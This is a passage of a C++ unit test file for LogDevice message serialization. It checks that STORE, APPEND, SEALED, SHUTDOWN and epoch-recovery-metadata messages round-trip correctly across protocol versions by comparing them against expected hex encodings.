* LICENSE file in the root directory of this source tree.
*/
#include <cstring>
#include <functional>
#include <folly/Memory.h>
#include <folly/ScopeGuard.h>
#include <gtest/gtest.h>
#include "event2/buffer.h"
#include "logdevice/common/Metadata.h"
#include "logdevice/common/Processor.h"
#include "logdevice/common/Worker.h"
#include "logdevice/common/debug.h"
#include "logdevice/common/libevent/compat.h"
#include "logdevice/common/protocol/APPEND_Message.h"
#include "logdevice/common/protocol/CLEAN_Message.h"
#include "logdevice/common/protocol/DELETE_Message.h"
#include "logdevice/common/protocol/GET_EPOCH_RECOVERY_METADATA_Message.h"
#include "logdevice/common/protocol/GET_EPOCH_RECOVERY_METADATA_REPLY_Message.h"
#include "logdevice/common/protocol/GET_SEQ_STATE_Message.h"
#include "logdevice/common/protocol/HELLO_Message.h"
#include "logdevice/common/protocol/MUTATED_Message.h"
#include "logdevice/common/protocol/MessageDeserializers.h"
#include "logdevice/common/protocol/MessageTypeNames.h"
#include "logdevice/common/protocol/ProtocolReader.h"
#include "logdevice/common/protocol/ProtocolWriter.h"
#include "logdevice/common/protocol/RECORD_Message.h"
#include "logdevice/common/protocol/SEALED_Message.h"
#include "logdevice/common/protocol/SHUTDOWN_Message.h"
#include "logdevice/common/protocol/STARTED_Message.h"
#include "logdevice/common/protocol/START_Message.h"
#include "logdevice/common/protocol/STOP_Message.h"
#include "logdevice/common/protocol/STORE_Message.h"
#include "logdevice/common/request_util.h"
#include "logdevice/common/test/TestUtil.h"
#include "logdevice/common/util.h"
namespace arg = std::placeholders;
namespace facebook { namespace logdevice {
template <typename SomeMessage, typename CheckFn, typename ExpectedHexFn>
void DO_TEST(const SomeMessage& m,
CheckFn&& check,
uint16_t min_proto,
uint16_t max_proto,
ExpectedHexFn&& expected_fn,
std::function<Message::deserializer_t> deserializer,
Status proto_writer_status = E::OK) {
ld_check(min_proto >= Compatibility::MIN_PROTOCOL_SUPPORTED);
ld_check(max_proto <= Compatibility::MAX_PROTOCOL_SUPPORTED);
for (uint16_t proto = min_proto; proto <= max_proto; ++proto) {
struct evbuffer* evbuf = LD_EV(evbuffer_new)();
ProtocolWriter writer(m.type_, evbuf, proto);
m.serialize(writer);
ssize_t sz = writer.result();
ASSERT_EQ(writer.status(), proto_writer_status);
if (proto_writer_status != E::OK) {
continue;
}
ASSERT_GT(sz, 0);
std::string serialized(sz, '0');
ASSERT_EQ(sz, LD_EV(evbuffer_copyout)(evbuf, &serialized[0], sz));
std::string found_hex = hexdump_buf(&serialized[0], sz);
std::string expected_hex = expected_fn(proto);
if (expected_hex.empty()) {
ld_info("serialized %s for protocol %u: %s",
messageTypeNames()[m.type_].c_str(),
(uint32_t)proto,
found_hex.c_str());
} else {
EXPECT_EQ(expected_hex, found_hex);
}
std::unique_ptr<Message> found;
// If a custom deserializer was not passed in, use the default for the
// message type
if (!deserializer) {
deserializer = messageDeserializers[m.type_];
}
ProtocolReader reader(m.type_, evbuf, sz, proto);
found = deserializer(reader).msg;
ASSERT_NE(nullptr, found);
ASSERT_EQ(0, LD_EV(evbuffer_get_length)(evbuf));
SomeMessage* found_sub = dynamic_cast<SomeMessage*>(found.get());
ASSERT_NE(nullptr, found_sub);
check(*found_sub, proto);
LD_EV(evbuffer_free)(evbuf);
}
}
// TODO: now that Payload has toString(), we don't need this helper.
static std::string getPayload(const Payload& p) {
return p.toString();
}
static std::string getPayload(const PayloadHolder& h) {
struct evbuffer* evbuf = LD_EV(evbuffer_new)();
ProtocolWriter writer(
MessageType::STORE, evbuf, Compatibility::MAX_PROTOCOL_SUPPORTED);
h.serialize(writer);
ssize_t sz = writer.result();
EXPECT_GE(sz, 0);
std::string s(sz, '\0');
EXPECT_EQ(sz, LD_EV(evbuffer_remove)(evbuf, &s[0], sz));
EXPECT_EQ(0, LD_EV(evbuffer_get_length)(evbuf));
LD_EV(evbuffer_free)(evbuf);
return s;
}
class MessageSerializationTest : public ::testing::Test {
public:
MessageSerializationTest() {
dbg::assertOnData = true;
}
void checkSTORE(const STORE_Message& sent,
const STORE_Message& recv,
uint16_t proto) {
ASSERT_EQ(sent.header_.rid, recv.header_.rid);
ASSERT_EQ(sent.header_.timestamp, recv.header_.timestamp);
ASSERT_EQ(sent.header_.last_known_good, recv.header_.last_known_good);
ASSERT_EQ(sent.header_.wave, recv.header_.wave);
ASSERT_EQ(sent.header_.nsync, recv.header_.nsync);
ASSERT_EQ(sent.header_.copyset_offset, recv.header_.copyset_offset);
ASSERT_EQ(sent.header_.copyset_size, recv.header_.copyset_size);
if (proto >= Compatibility::ProtocolVersion::STREAM_WRITER_SUPPORT) {
ASSERT_EQ(sent.header_.flags, recv.header_.flags);
} else {
APPEND_flags_t flag1 = sent.header_.flags, flag2 = recv.header_.flags;
flag1 &= ~STORE_Header::WRITE_STREAM;
flag2 &= ~STORE_Header::WRITE_STREAM;
ASSERT_EQ(flag1, flag2);
}
ASSERT_EQ(sent.header_.timeout_ms, recv.header_.timeout_ms);
ASSERT_EQ(sent.header_.sequencer_node_id, recv.header_.sequencer_node_id);
ASSERT_EQ(sent.extra_.recovery_id, recv.extra_.recovery_id);
ASSERT_EQ(sent.extra_.recovery_epoch, recv.extra_.recovery_epoch);
ASSERT_EQ(sent.copyset_.size(), recv.copyset_.size());
ASSERT_EQ(sent.extra_.rebuilding_version, recv.extra_.rebuilding_version);
ASSERT_EQ(sent.extra_.rebuilding_wave, recv.extra_.rebuilding_wave);
ASSERT_EQ(
sent.extra_.offsets_within_epoch, recv.extra_.offsets_within_epoch);
if (sent.header_.wave > 1) {
ASSERT_EQ(sent.extra_.first_amendable_offset,
recv.extra_.first_amendable_offset);
} else {
ASSERT_EQ(COPYSET_SIZE_MAX, recv.extra_.first_amendable_offset);
}
for (size_t i = 0; i < sent.copyset_.size(); ++i) {
ASSERT_EQ(sent.copyset_[i].destination, recv.copyset_[i].destination);
ASSERT_EQ(sent.copyset_[i].origin, recv.copyset_[i].origin);
}
ASSERT_EQ(sent.block_starting_lsn_, recv.block_starting_lsn_);
ASSERT_EQ(sent.optional_keys_.size(), recv.optional_keys_.size());
for (const auto& key_pair : sent.optional_keys_) {
ASSERT_NE(
recv.optional_keys_.find(key_pair.first), recv.optional_keys_.end());
ASSERT_EQ(
recv.optional_keys_.find(key_pair.first)->second, key_pair.second);
}
ASSERT_EQ(sent.e2e_tracing_context_, recv.e2e_tracing_context_);
if (sent.header_.flags & STORE_Header::OFFSET_MAP) {
ASSERT_EQ(
sent.extra_.offsets_within_epoch, recv.extra_.offsets_within_epoch);
}
ASSERT_EQ(getPayload(*sent.payload_), getPayload(*recv.payload_));
}
void checkAPPEND(const APPEND_Message& m,
const APPEND_Message& m2,
uint16_t proto) {
ASSERT_EQ(m.header_.rqid, m2.header_.rqid);
ASSERT_EQ(m.header_.logid, m2.header_.logid);
ASSERT_EQ(m.header_.seen, m2.header_.seen);
ASSERT_EQ(m.header_.timeout_ms, m2.header_.timeout_ms);
if (proto >= Compatibility::ProtocolVersion::STREAM_WRITER_SUPPORT) {
ASSERT_EQ(m.header_.flags, m2.header_.flags);
} else {
APPEND_flags_t flag1 = m.header_.flags, flag2 = m2.header_.flags;
flag1 &= ~(APPEND_Header::WRITE_STREAM_REQUEST |
APPEND_Header::WRITE_STREAM_RESUME);
flag2 &= ~(APPEND_Header::WRITE_STREAM_REQUEST |
APPEND_Header::WRITE_STREAM_RESUME);
ASSERT_EQ(flag1, flag2);
}
ASSERT_EQ(m.attrs_.optional_keys, m2.attrs_.optional_keys);
ASSERT_EQ(m.attrs_.counters.hasValue(), m2.attrs_.counters.hasValue());
if (m.attrs_.counters.hasValue()) {
ASSERT_EQ(m.attrs_.counters->size(), m2.attrs_.counters->size());
for (auto counter : m.attrs_.counters.value()) {
auto map =
const_cast<std::map<uint8_t, int64_t>&>(m2.attrs_.counters.value());
ASSERT_EQ(counter.second, map[counter.first]);
}
}
if (proto >= Compatibility::ProtocolVersion::STREAM_WRITER_SUPPORT) {
ASSERT_EQ(m.write_stream_request_id_.id, m2.write_stream_request_id_.id);
ASSERT_EQ(m.write_stream_request_id_.seq_num,
m2.write_stream_request_id_.seq_num);
}
ASSERT_EQ(m.e2e_tracing_context_, m2.e2e_tracing_context_);
ASSERT_EQ(getPayload(m.payload_), getPayload(m2.payload_));
}
void checkRECORD(const RECORD_Message& m,
const RECORD_Message& m2,
uint16_t /*proto*/) {
ASSERT_EQ(m.header_.log_id, m2.header_.log_id);
ASSERT_EQ(m.header_.read_stream_id, m2.header_.read_stream_id);
ASSERT_EQ(m.header_.lsn, m2.header_.lsn);
ASSERT_EQ(m.header_.timestamp, m2.header_.timestamp);
ASSERT_EQ(m.header_.flags, m2.header_.flags);
ASSERT_EQ(getPayload(m.payload_), getPayload(m2.payload_));
ld_check(m.extra_metadata_ != nullptr);
ld_check(m2.extra_metadata_ != nullptr);
ASSERT_EQ(m.extra_metadata_->header.last_known_good,
m2.extra_metadata_->header.last_known_good);
ASSERT_EQ(m.extra_metadata_->header.wave, m2.extra_metadata_->header.wave);
ASSERT_EQ(m.extra_metadata_->header.copyset_size,
m2.extra_metadata_->header.copyset_size);
ASSERT_EQ(m.extra_metadata_->copyset, m2.extra_metadata_->copyset);
ASSERT_EQ(m.offsets_, m2.offsets_);
ASSERT_EQ(m.extra_metadata_->offsets_within_epoch,
m2.extra_metadata_->offsets_within_epoch);
}
void checkSEALED(const SEALED_Message& m,
const SEALED_Message& m2,
uint16_t proto) {
ASSERT_EQ(m.header_.log_id, m2.header_.log_id);
ASSERT_EQ(m.header_.seal_epoch, m2.header_.seal_epoch);
ASSERT_EQ(m.header_.lng_list_size, m2.header_.lng_list_size);
ASSERT_EQ(m.header_.shard, m2.header_.shard);
ASSERT_EQ(m.header_.num_tail_records, m2.header_.num_tail_records);
ASSERT_EQ(m2.header_.num_tail_records, m2.tail_records_.size());
ASSERT_EQ(m.max_seen_lsn_, m2.max_seen_lsn_);
if (proto < Compatibility::TRIM_POINT_IN_SEALED) {
ASSERT_EQ(LSN_INVALID, m2.header_.trim_point);
} else {
ASSERT_EQ(m.header_.trim_point, m2.header_.trim_point);
}
ASSERT_EQ(m.epoch_lng_, m2.epoch_lng_);
ASSERT_EQ(m.seal_, m2.seal_);
ASSERT_EQ(m.last_timestamp_, m2.last_timestamp_);
ASSERT_EQ(m.epoch_offset_map_, m2.epoch_offset_map_);
ASSERT_EQ(m.tail_records_.size(), m2.tail_records_.size());
for (int i = 0; i < m.tail_records_.size(); ++i) {
bool same = m.tail_records_[i].sameContent(m2.tail_records_[i]);
ASSERT_TRUE(same);
}
}
void checkSTARTED(const STARTED_Message& m,
const STARTED_Message& m2,
uint16_t /*proto*/) {
ASSERT_EQ(m.header_.log_id, m2.header_.log_id);
ASSERT_EQ(m.header_.read_stream_id, m2.header_.read_stream_id);
ASSERT_EQ(m.header_.status, m2.header_.status);
ASSERT_EQ(m.header_.filter_version, m2.header_.filter_version);
ASSERT_EQ(m.header_.last_released_lsn, m2.header_.last_released_lsn);
}
void checkCLEAN(const CLEAN_Message& m,
const CLEAN_Message& m2,
uint16_t proto) {
ASSERT_EQ(m.header_.log_id, m2.header_.log_id);
ASSERT_EQ(m.header_.epoch, m2.header_.epoch);
ASSERT_EQ(m.header_.recovery_id, m2.header_.recovery_id);
ASSERT_EQ(m.epoch_size_map_, m2.epoch_size_map_);
ASSERT_TRUE(m.tail_record_.sameContent(m2.tail_record_));
}
void checkSHUTDOWN(const SHUTDOWN_Message& m,
const SHUTDOWN_Message& m2,
uint16_t /*proto*/) {
ASSERT_EQ(m.header_.status, m2.header_.status);
ASSERT_EQ(m.header_.serverInstanceId, m2.header_.serverInstanceId);
}
void
checkGetEpochRecoveryMetadata(const GET_EPOCH_RECOVERY_METADATA_Message& m1,
const GET_EPOCH_RECOVERY_METADATA_Message& m2,
uint16_t proto) {
ASSERT_EQ(m1.header_.log_id, m2.header_.log_id);
ASSERT_EQ(m1.header_.purge_to, m2.header_.purge_to);
ASSERT_EQ(m1.header_.start, m2.header_.start);
ASSERT_EQ(m1.header_.flags, m2.header_.flags);
ASSERT_EQ(m1.header_.shard, m2.header_.shard);
ASSERT_EQ(m1.header_.purging_shard, m2.header_.purging_shard);
ASSERT_EQ(m1.header_.end, m2.header_.end);
ASSERT_EQ(m1.header_.id, m2.header_.id);
}
void checkGetEpochRecoveryMetadataReply(
const GET_EPOCH_RECOVERY_METADATA_REPLY_Message& m1,
const GET_EPOCH_RECOVERY_METADATA_REPLY_Message& m2,
uint16_t /*unused*/) {
ASSERT_EQ(m1.header_.log_id, m2.header_.log_id);
ASSERT_EQ(m1.header_.purge_to, m2.header_.purge_to);
ASSERT_EQ(m1.header_.start, m2.header_.start);
ASSERT_EQ(m1.header_.flags, m2.header_.flags);
ASSERT_EQ(m1.header_.status, m2.header_.status);
ASSERT_EQ(m1.header_.shard, m2.header_.shard);
ASSERT_EQ(m1.header_.purging_shard, m2.header_.purging_shard);
ASSERT_EQ(m1.header_.end, m2.header_.end);
ASSERT_EQ(m1.header_.id, m2.header_.id);
ASSERT_EQ(m1.header_.num_non_empty_epochs, m2.header_.num_non_empty_epochs);
ASSERT_EQ(m1.status_, m2.status_);
ASSERT_EQ(m1.metadata_, m2.metadata_);
}
};
namespace {
// Helper factory for STORE messages, including their serialized forms.
// Provides a basic STORE header so that tests don't need to copy-paste it.
struct TestStoreMessageFactory {
TestStoreMessageFactory() {
header_ = STORE_Header{
RecordID(0xc5e58b03be6504ce, logid_t(0x0fbc3a81c75251e2)),
0xeb4925bfde9dec8e,
esn_t(0xebecb8bb),
0x00000001, // wave
0, // flags
1,
2,
3, // copyset size
0xb9b421a5,
NodeID(0x508b, 0xa554),
};
cs_.assign({{ShardID(1, 0), ClientID(4)},
{ShardID(2, 0), ClientID(5)},
{ShardID(3, 0), ClientID(6)}});
payload_ = "hi";
}
void setWave(uint32_t wave) {
header_.wave = wave;
}
void setFlags(STORE_flags_t flags) {
header_.flags = flags;
}
void setExtra(STORE_Extra extra, std::string serialized) {
extra_ = std::move(extra);
extra_serialized_ = std::move(serialized);
}
void setKey(std::map<KeyType, std::string> optional_keys,
std::string serialized) {
optional_keys_ = std::move(optional_keys);
key_serialized_ = std::move(serialized);
}
void setE2ETracingContext(std::string tracing_context,
std::string serialized) {
e2e_tracing_context_ = std::move(tracing_context);
e2e_tracing_context_serialized_ = std::move(serialized);
}
STORE_Message message() const {
return STORE_Message(
header_,
cs_.data(),
header_.copyset_offset,
0,
extra_,
optional_keys_,
std::make_shared<PayloadHolder>(
Payload(payload_.data(), payload_.size()), PayloadHolder::UNOWNED),
false,
e2e_tracing_context_);
}
template <typename IntType>
static std::string hex(IntType val) {
std::string rv;
for (size_t i = 0; i < sizeof(val); ++i) {
static const char digits[] = "0123456789ABCDEF";
// Little endian
rv += digits[(val / 16) % 16];
rv += digits[val % 16];
val /= 256;
}
return rv;
}
std::string serialized(uint16_t proto) const {
auto flags = header_.flags;
if (proto < Compatibility::STREAM_WRITER_SUPPORT) {
flags &= ~STORE_Header::WRITE_STREAM;
}
std::string rv = "CE0465BE038BE5C5E25152C7813ABC0F" // rid
"8EEC9DDEBF2549EB" // timestamp
"BBB8ECEB" // last_known_good
+ hex(header_.wave) + hex(flags) +
"010203" // nsync, copyset offset and size
"A521B4B9" // timeout_ms
"54A58B50" // sequencer_node_id
;
if (header_.flags & STORE_Header::OFFSET_WITHIN_EPOCH &&
header_.flags & STORE_Header::OFFSET_MAP) {
// Size of offsetmap containing one counter
rv += "01";
// BYTE_OFFSET start index in hex. refer to OffsetMap.h
rv += "F6";
}
// Copyset, optional blobs, payload
rv += extra_serialized_;
// StoreChainLink
rv += "010000000400008002000000050000800300000006000080";
if (flags & STORE_Header::STICKY_COPYSET) {
// Block starting LSN = LSN_INVALID.
rv += "0000000000000000";
}
if (header_.flags & STORE_Header::CUSTOM_KEY) {
// The protocol is: 1. Send number of keys. For here: "02".
// 2. For each key, send KeyType. Here, "00" or "01"
// 3. Length + serialized key (as before)
if (optional_keys_.find(KeyType::FILTERABLE) != optional_keys_.end()) {
rv += "0200"; //"02" means 2 optional keys, "00" type for first key
rv += key_serialized_;
rv += "01"; // "01" type for second key
} else {
rv += "0100"; // "01" means 1 optional key. "00" type for first key
}
rv += key_serialized_;
}
if (header_.flags & STORE_Header::E2E_TRACING_ON) {
rv += e2e_tracing_context_serialized_;
}
rv += "6869"; // payload ("hi" in hex)
return rv;
}
private:
STORE_Header header_;
std::vector<StoreChainLink> cs_;
std::string payload_;
STORE_Extra extra_;
std::string extra_serialized_;
std::map<KeyType, std::string> optional_keys_;
std::string key_serialized_;
std::string e2e_tracing_context_;
std::string e2e_tracing_context_serialized_;
};
} // namespace
TEST_F(MessageSerializationTest, STORE) {
STORE_Extra extra;
extra.recovery_id = recovery_id_t(0x72555800c6fe911e);
extra.recovery_epoch = epoch_t(0xc2f998f6);
TestStoreMessageFactory factory;
factory.setFlags(STORE_Header::RECOVERY);
factory.setExtra(extra, "1E91FEC600585572F698F9C2");
STORE_Message m = factory.message();
auto check = [&](const STORE_Message& m2, uint16_t proto) {
checkSTORE(m, m2, proto);
};
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
std::bind(&TestStoreMessageFactory::serialized, &factory, arg::_1),
[](ProtocolReader& r) { return STORE_Message::deserialize(r, 128); });
}
TEST_F(MessageSerializationTest, STORE_WithKey) {
TestStoreMessageFactory factory;
std::map<KeyType, std::string> optional_keys;
optional_keys.insert(
std::make_pair(KeyType::FINDKEY, std::string("abcdefgh")));
factory.setFlags(STORE_Header::CUSTOM_KEY);
factory.setKey(optional_keys, "08006162636465666768");
STORE_Message m = factory.message();
auto check = [&](const STORE_Message& m2, uint16_t proto) {
checkSTORE(m, m2, proto);
};
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
std::bind(&TestStoreMessageFactory::serialized, &factory, arg::_1),
[](ProtocolReader& r) { return STORE_Message::deserialize(r, 128); });
}
TEST_F(MessageSerializationTest, STORE_WithFilterableKey) {
TestStoreMessageFactory factory;
std::map<KeyType, std::string> optional_keys;
optional_keys.insert(
std::make_pair(KeyType::FINDKEY, std::string("abcdefgh")));
optional_keys.insert(
std::make_pair(KeyType::FILTERABLE, std::string("abcdefgh")));
factory.setFlags(STORE_Header::CUSTOM_KEY);
factory.setKey(optional_keys, "08006162636465666768");
STORE_Message m = factory.message();
auto check = [&](const STORE_Message& m2, uint16_t proto) {
checkSTORE(m, m2, proto);
};
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
std::bind(&TestStoreMessageFactory::serialized, &factory, arg::_1),
[](ProtocolReader& r) { return STORE_Message::deserialize(r, 128); });
}
TEST_F(MessageSerializationTest, STORE_WithRebuildingInfo2) {
STORE_Extra extra;
extra.rebuilding_version = 42;
extra.rebuilding_wave = 3;
extra.rebuilding_id = log_rebuilding_id_t(10);
TestStoreMessageFactory factory;
factory.setFlags(STORE_Header::REBUILDING);
factory.setExtra(extra, "2A00000000000000030000000A00000000000000");
STORE_Message m = factory.message();
auto check = [&](const STORE_Message& m2, uint16_t proto) {
checkSTORE(m, m2, proto);
};
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
std::bind(&TestStoreMessageFactory::serialized, &factory, arg::_1),
[](ProtocolReader& r) { return STORE_Message::deserialize(r, 128); });
}
TEST_F(MessageSerializationTest, STORE_WithByteOffsetInfo) {
STORE_Extra extra;
OffsetMap offsets_within_epoch;
offsets_within_epoch.setCounter(BYTE_OFFSET, 0x99);
extra.offsets_within_epoch = std::move(offsets_within_epoch);
TestStoreMessageFactory factory;
factory.setFlags(STORE_Header::OFFSET_WITHIN_EPOCH);
factory.setExtra(extra, "9900000000000000");
STORE_Message m = factory.message();
auto check = [&](const STORE_Message& m2, uint16_t proto) {
checkSTORE(m, m2, proto);
};
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
std::bind(&TestStoreMessageFactory::serialized, &factory, arg::_1),
[](ProtocolReader& r) { return STORE_Message::deserialize(r, 128); });
}
TEST_F(MessageSerializationTest, STORE_WithByteOffsetMapInfo) {
STORE_Extra extra;
extra.offsets_within_epoch.setCounter(BYTE_OFFSET, 0x99);
TestStoreMessageFactory factory;
factory.setFlags(STORE_Header::OFFSET_WITHIN_EPOCH |
STORE_Header::OFFSET_MAP);
factory.setExtra(extra, "9900000000000000");
STORE_Message m = factory.message();
auto check = [&](const STORE_Message& m2, uint16_t proto) {
checkSTORE(m, m2, proto);
};
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
std::bind(&TestStoreMessageFactory::serialized, &factory, arg::_1),
[](ProtocolReader& r) { return STORE_Message::deserialize(r, 128); });
}
TEST_F(MessageSerializationTest, STORE_WithFirstAmendableOffset) {
STORE_Extra extra;
extra.first_amendable_offset = 0x55;
TestStoreMessageFactory factory;
factory.setWave(2);
factory.setExtra(extra, "55");
STORE_Message m = factory.message();
auto check = [&](const STORE_Message& m2, uint16_t proto) {
checkSTORE(m, m2, proto);
};
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
std::bind(&TestStoreMessageFactory::serialized, &factory, arg::_1),
[](ProtocolReader& r) { return STORE_Message::deserialize(r, 128); });
}
TEST_F(MessageSerializationTest, STORE_WithE2ETracingContext) {
TestStoreMessageFactory factory;
factory.setFlags(STORE_Header::E2E_TRACING_ON);
factory.setE2ETracingContext("abcdefgh",
"0800000000000000"
"6162636465666768");
STORE_Message m = factory.message();
auto check = [&](const STORE_Message& m2, uint16_t proto) {
checkSTORE(m, m2, proto);
};
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
std::bind(&TestStoreMessageFactory::serialized, &factory, arg::_1),
[](ProtocolReader& r) { return STORE_Message::deserialize(r, 128); });
}
TEST_F(MessageSerializationTest, STORE_WithWriteStreamFlagSet) {
TestStoreMessageFactory factory;
factory.setFlags(STORE_Header::WRITE_STREAM);
STORE_Message m = factory.message();
auto check = [&](const STORE_Message& m2, uint16_t proto) {
checkSTORE(m, m2, proto);
};
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
std::bind(&TestStoreMessageFactory::serialized, &factory, arg::_1),
[](ProtocolReader& r) { return STORE_Message::deserialize(r, 128); });
}
TEST_F(MessageSerializationTest, SHUTDOWN_WithServerInstanceId) {
SHUTDOWN_Header h = {E::SHUTDOWN, ServerInstanceId(10)};
SHUTDOWN_Message m(h);
auto check = [&](const SHUTDOWN_Message& m2, uint16_t proto) {
checkSHUTDOWN(m, m2, proto);
};
{
std::string expected = "17000A00000000000000";
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
[&](uint16_t /*proto*/) { return expected; },
nullptr);
}
}
TEST_F(MessageSerializationTest, GET_EPOCH_RECOVERY_METADATA_RangeEpoch) {
GET_EPOCH_RECOVERY_METADATA_Header h = {logid_t(0),
epoch_t(10),
epoch_t(1),
0,
shard_index_t(0),
shard_index_t(0),
epoch_t(10),
request_id_t(10)};
GET_EPOCH_RECOVERY_METADATA_Message msg(h);
auto check = [&](const GET_EPOCH_RECOVERY_METADATA_Message& m2,
uint16_t proto) {
checkGetEpochRecoveryMetadata(msg, m2, proto);
};
{
std::string expected_new =
"00000000000000000A000000010000000000000000000A0000000A00000000000000";
DO_TEST(msg,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
[&](uint16_t /* proto */) { return expected_new; },
nullptr);
}
}
TEST_F(MessageSerializationTest, GET_EPOCH_RECOVERY_METADATA_REPLY_RangeEpoch) {
GET_EPOCH_RECOVERY_METADATA_REPLY_Header h = {logid_t(0),
epoch_t(10),
epoch_t(1),
0,
E::OK,
shard_index_t(0),
shard_index_t(0),
epoch_t(10),
1,
request_id_t(10)};
std::vector<epoch_t> epochs;
std::vector<Status> status;
std::vector<std::string> metadata;
for (int i = 1; i <= 10; i++) {
epochs.push_back(epoch_t(i));
if (i <= 5) {
status.push_back(E::EMPTY);
} else if (i > 6) {
status.push_back(E::NOTREADY);
} else {
status.push_back(E::OK);
OffsetMap epoch_size_map;
epoch_size_map.setCounter(BYTE_OFFSET, 0);
TailRecord tail_record;
tail_record.offsets_map_.setCounter(BYTE_OFFSET, 4);
tail_record.header.log_id = logid_t(1);
OffsetMap epoch_end_offsets;
epoch_end_offsets.setCounter(BYTE_OFFSET, 4);
EpochRecoveryMetadata erm(epoch_t(7),
esn_t(10),
esn_t(10),
1,
tail_record,
epoch_size_map,
epoch_end_offsets);
ld_check(erm.valid());
Slice slice = erm.serialize();
EpochRecoveryMetadata erm2;
erm2.deserialize(slice);
ASSERT_EQ(erm, erm2);
std::string md(reinterpret_cast<const char*>(slice.data), slice.size);
metadata.push_back(md);
}
}
GET_EPOCH_RECOVERY_METADATA_REPLY_Message msg(
h, std::move(epochs), std::move(status), std::move(metadata));
auto check = [&](const GET_EPOCH_RECOVERY_METADATA_REPLY_Message& m2,
uint16_t proto) {
checkGetEpochRecoveryMetadataReply(msg, m2, proto);
};
{
std::string expected =
"00000000000000000A0000000100000000000000000000000A00000001000000000000"
"000A000000000000000100000002000000030000000400000005000000060000000700"
"000008000000090000000A0000006D006D006D006D006D000000320032003200320050"
"000000070000000A0000000A0000000100040000000000000000000000000000000100"
"0000000000000000000000000000000000000000000004000000000000000000000000"
"00000001F60000000000000000";
DO_TEST(msg,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
[&](uint16_t /*unused*/) { return expected; },
nullptr);
}
}
TEST_F(MessageSerializationTest, APPEND) {
APPEND_Header h = {request_id_t(0xb64a0f255e281e45),
logid_t(0x3c3b4fa7a1299851),
epoch_t(0xee396b50),
0xed5b3efc,
APPEND_Header::CHECKSUM_64BIT |
APPEND_Header::REACTIVATE_IF_PREEMPTED |
APPEND_Header::BUFFERED_WRITER_BLOB};
auto deserializer = [](ProtocolReader& reader) {
return APPEND_Message::deserialize(reader, 128);
};
auto expected_fn = [](uint16_t) { return std::string(); };
AppendAttributes attrs;
{
APPEND_Message m(h, LSN_INVALID, attrs, PayloadHolder(strdup("hello"), 5));
auto check = [&](const APPEND_Message& m2, uint16_t proto) {
checkAPPEND(m, m2, proto);
};
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
expected_fn,
deserializer);
}
{
h.flags |= APPEND_Header::CUSTOM_KEY;
std::string key{"abcdefgh"};
attrs.optional_keys[KeyType::FINDKEY] = std::move(key);
APPEND_Message m(h, LSN_INVALID, attrs, PayloadHolder(strdup("hello"), 5));
auto check = [&](const APPEND_Message& m2, uint16_t proto) {
checkAPPEND(m, m2, proto);
};
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
expected_fn,
deserializer);
}
{
h.flags |= APPEND_Header::CUSTOM_KEY;
std::string key{"abcdefgh"};
std::string key2{"12345678"};
attrs.optional_keys[KeyType::FINDKEY] = std::move(key);
attrs.optional_keys[KeyType::FILTERABLE] = std::move(key2);
APPEND_Message m(h, LSN_INVALID, attrs, PayloadHolder(strdup("hello"), 5));
auto check = [&](const APPEND_Message& m2, uint16_t proto) {
checkAPPEND(m, m2, proto);
};
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
expected_fn,
deserializer);
}
{
h.flags |= APPEND_Header::CUSTOM_COUNTERS;
std::map<uint8_t, int64_t> counters;
counters[1] = 1;
counters[2] = 2;
counters[3] = 3;
attrs.counters.emplace(std::move(counters));
APPEND_Message m(h, LSN_INVALID, attrs, PayloadHolder(strdup("hello"), 5));
auto check = [&](const APPEND_Message& m2, uint16_t proto) {
checkAPPEND(m, m2, proto);
};
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
expected_fn,
deserializer);
}
{
h.flags |= APPEND_Header::CUSTOM_KEY;
attrs.optional_keys.insert(
std::make_pair(KeyType::FINDKEY, std::string("abcdefgh")));
h.flags |= APPEND_Header::CUSTOM_COUNTERS;
std::map<uint8_t, int64_t> counters;
counters[1] = 1;
counters[2] = 2;
counters[3] = 3;
attrs.counters.emplace(std::move(counters));
APPEND_Message m(h, LSN_INVALID, attrs, PayloadHolder(strdup("hello"), 5));
auto check = [&](const APPEND_Message& m2, uint16_t proto) {
checkAPPEND(m, m2, proto);
};
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
expected_fn,
deserializer);
}
{
h.flags |= APPEND_Header::E2E_TRACING_ON;
APPEND_Message m(h,
LSN_INVALID,
attrs,
PayloadHolder(strdup("hello"), 5),
"TRACING_INFORMATION");
auto check = [&](const APPEND_Message& m2, uint16_t proto) {
checkAPPEND(m, m2, proto);
};
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
